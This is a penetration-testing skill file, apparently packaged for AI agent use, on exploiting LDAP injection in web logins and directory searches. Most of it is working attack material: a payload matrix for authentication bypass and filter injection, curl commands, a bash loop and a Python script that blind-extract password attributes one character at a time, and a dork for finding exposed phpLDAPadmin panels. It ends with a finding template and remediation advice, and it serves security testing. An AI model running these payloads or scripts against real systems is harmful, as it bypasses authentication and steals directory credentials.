exploiting-ldap-injection

$npx mdskill add xalgord/xalgorix/exploiting-ldap-injection

- During authorized tests of login forms backed by an LDAP/Active Directory directory - When a search/lookup feature queries a directory by `uid`, `cn`, `mail`, `sn`, or similar attributes - When the app builds filters like `(&(user=INPUT)(password=INPUT))` from raw input - When you spot LDAP-style errors, `phpLDAPadmin`, or directory-driven address books / user pickers - When testing intranet portals, SSO bridges, or HR/employee directories

SKILL.md

.github/skills/exploiting-ldap-injectionView on GitHub ↗
---
name: exploiting-ldap-injection
description: Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input,
  letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract
  attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input
  into LDAP filters (uid, cn, mail, etc.).
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- ldap-injection
- authentication-bypass
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting LDAP Injection

## When to Use

- During authorized tests of login forms backed by an LDAP/Active Directory directory
- When a search/lookup feature queries a directory by `uid`, `cn`, `mail`, `sn`, or similar attributes
- When the app builds filters like `(&(user=INPUT)(password=INPUT))` from raw input
- When you spot LDAP-style errors, `phpLDAPadmin`, or directory-driven address books / user pickers
- When testing intranet portals, SSO bridges, or HR/employee directories

## Critical: Variants Most Often Missed

LDAP filters are prefix/Polish notation: `(&(a=1)(b=2))` = AND, `(|(a=1)(b=2))` = OR, `(!(a=1))` = NOT. The wildcard `*` matches anything and is the single most powerful primitive. Filters MUST stay syntactically valid — prefer sending ONE clean filter. Test the full matrix for every input:

```text
# 1. Wildcard everything (works in most LDAPi contexts)
user=*           password=*        --> (&(user=*)(password=*))   # match any

# 2. Authentication bypass — comment/cut the password check
user=*)(&        password=*)(&     --> (&(user=*)(&)(password=*)(&))
user=*)(|(&       pass=pwd)         --> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*  password=x)   --> (&(user=*)(|(password=*)(password=x))
user=*))%00      pass=any           --> (&(user=*))%00  # NULL byte truncates rest

# 3. Target a known account, neutralize the password
admin)(&)        password=pwd       --> (&(user=admin)(&))(password=pwd)
admin' or '1'='2  (string-context)  --> account selected regardless of password
username=admin)(!(&(|   pass=any))  --> (&(uid=admin)(!(&(|)(webpassword=any))))  # (|)=FALSE → bypass

# 4. Force absolute TRUE / FALSE
(&)  = absolute TRUE        (|)  = absolute FALSE

# 5. Inject a second filter (behavior depends on server)
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
--> (&(objectClass=*)(ObjectClass=*))(&(objectClass=void)...  # first filter executes
```

Server quirks that change exploitation:
- **OpenLDAP**: if two filters arrive, only the FIRST executes.
- **ADAM / Microsoft LDS**: two filters throw an error.
- **SunOne Directory Server 5.0**: executes BOTH filters.

### How to CONFIRM a hit (avoid false negatives)

- **Auth bypass**: a `*` / `*)(&` payload logs you in or returns a user record without valid credentials.
- **Boolean oracle (blind)**: compare a TRUE vs FALSE payload response.
  - TRUE: `*)(objectClass=*))(&objectClass=void` → data returned / "logged in".
  - FALSE: `void)(objectClass=void))(&objectClass=void` → no data / login fails.
  - A reliable difference in body, length, or status between the two confirms blind LDAPi.
- **Error-based**: malformed filters like `admin)(&)` may raise a directory error, confirming the input reaches the filter.
- Treat ANY consistent TRUE/FALSE divergence as exploitable even if no data is directly echoed.

## Workflow

### Step 1: Identify the Injection & Filter Shape

```bash
# Inject special chars and watch for errors / behavior change
# ( ) * \ | & ! = NUL
curl -s "https://target/login.php" --data "user=*&password=*"
curl -s "https://target/login.php" --data "user=admin)(&)&password=x"   # may error → reaches filter
```

### Step 2: Authentication Bypass

```bash
# Classic wildcard bypass
user=*  password=*                          # (&(user=*)(password=*))
# Neutralize the password clause
user=admin)(!(&(|  password=any))           # makes the password subtree FALSE-negated → TRUE
# NULL-byte truncation
user=*))%00  password=any                   # rest of filter discarded
```

### Step 3: Blind Extraction of Attribute Values (passwords, tokens)

```bash
# Per-character brute force over a target attribute using the * anchor.
# (&(sn=administrator)(password=A*)) ... iterate A..Z,0..9,symbols
for c in {A..Z} {a..z} {0..9}; do
  resp=$(curl -s "https://target/login.php" \
    --data "user=*)(sn=administrator)(password=${KNOWN}${c}*&password=x")
  echo "$resp" | grep -q "OK_MARKER" && { echo "char=$c"; break; }
done
```

```python
#!/usr/bin/python3
# Blind LDAP attribute extraction (adapted from HackTricks)
import requests, string
url = "http://10.10.10.10/login.php"
proxy = {"http": "localhost:8080"}
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c","cn","mail","sn","uid","userPassword","password","objectClass"]
for attr in attributes:
    value, finish = "", False
    while not finish:
        for ch in alphabet:
            query = f"*)({attr}={value}{ch}*"          # injected filter prefix
            r = requests.post(url, data={'login': query, 'password': 'bla'}, proxies=proxy)
            if "Cannot login" in r.text:               # TRUE oracle marker
                value += ch
                break
            if ch == alphabet[-1]:
                finish = True
        print(f"{attr}: {value}")
```

Brute-force all default LDAP attributes (use the PayloadsAllTheThings `LDAP_attributes.txt` list) to discover where sensitive data lives, then dump it character by character.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Filter syntax** | Prefix notation: `(&...)`=AND, `(|...)`=OR, `(!...)`=NOT, `(attr=val)`=item |
| **Wildcard `*`** | Matches any value; core primitive for bypass and extraction |
| **Absolute TRUE/FALSE** | `(&)` is always TRUE, `(|)` is always FALSE |
| **Boolean blind oracle** | Compare TRUE vs FALSE payload responses to infer data |
| **NULL byte `%00`** | Truncates the rest of the filter so trailing clauses are ignored |
| **Server divergence** | OpenLDAP runs only the first filter; SunOne runs both; ADAM/LDS errors |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Intruder** | Automate boolean/char brute force with grep-match oracles |
| **PayloadsAllTheThings (LDAP_FUZZ.txt, LDAP_attributes.txt)** | Filter payloads and attribute wordlists |
| **Custom Python scripts** | Blind per-character attribute extraction |
| **ldapsearch** | Validate recovered DN/attributes against the directory if creds obtained |
| **Google dorks** | `intitle:"phpLDAPadmin" inurl:cmd.php` to find exposed admin panels |

## Common Scenarios

### Scenario 1: Wildcard Login Bypass
A login does `(&(uid=INPUT)(userPassword=INPUT))`. Submitting `uid=*` and `password=*` yields `(&(uid=*)(userPassword=*))`, matching the first directory user and granting access.

### Scenario 2: Blind Password Disclosure
A search returns results only when its filter matches. Injecting `*)(sn=administrator)(password=A*` and iterating the trailing char reveals the admin password one character at a time via the result/no-result oracle.

### Scenario 3: Negation Bypass
Login filter `(&(uid=INPUT)(webpassword=INPUT))`. Payload `uid=admin)(!(&(|` with `pass=any))` builds `(&(uid=admin)(!(&(|)(webpassword=any))))` — since `(|)` is FALSE, the negated subtree is TRUE and admin authenticates without the password.

## Output Format

```
## LDAP Injection Finding

**Vulnerability**: LDAP Injection (filter manipulation)
**Severity**: High to Critical (CVSS 8.1–9.8 when it bypasses auth or dumps creds)
**Location**: POST /login.php  (user, password parameters)
**OWASP Category**: A03:2021 - Injection

### Reproduction Steps
1. Submit user=* and password=* → application authenticates as the first directory user.
2. Confirm blind oracle: TRUE payload `*)(objectClass=*))(&objectClass=void` returns data;
   FALSE payload `void)(objectClass=void))(&objectClass=void` returns none.
3. Extract userPassword via per-character injection `*)(uid=admin)(userPassword=A*`.

### Evidence
| Payload | Result | Meaning |
|---------|--------|---------|
| user=*&password=* | Logged in | Wildcard auth bypass |
| ...(password=A* | No result | Char != A |
| ...(password=M* | Result | First char = M |

### Impact
Authentication bypass, enumeration of directory objects/attributes, and blind disclosure of credentials and other sensitive attributes.

### Recommendation
1. Escape LDAP special characters per RFC 4515 ( \28 \29 \2a \5c \00 ) on all user input.
2. Use parameterized directory APIs / framework escaping helpers, never string concatenation.
3. Apply least-privilege bind accounts and restrict which attributes searches can return.
4. Add server-side allow-lists for searchable attributes and reject `*` where not expected.
```

More from xalgord/xalgorix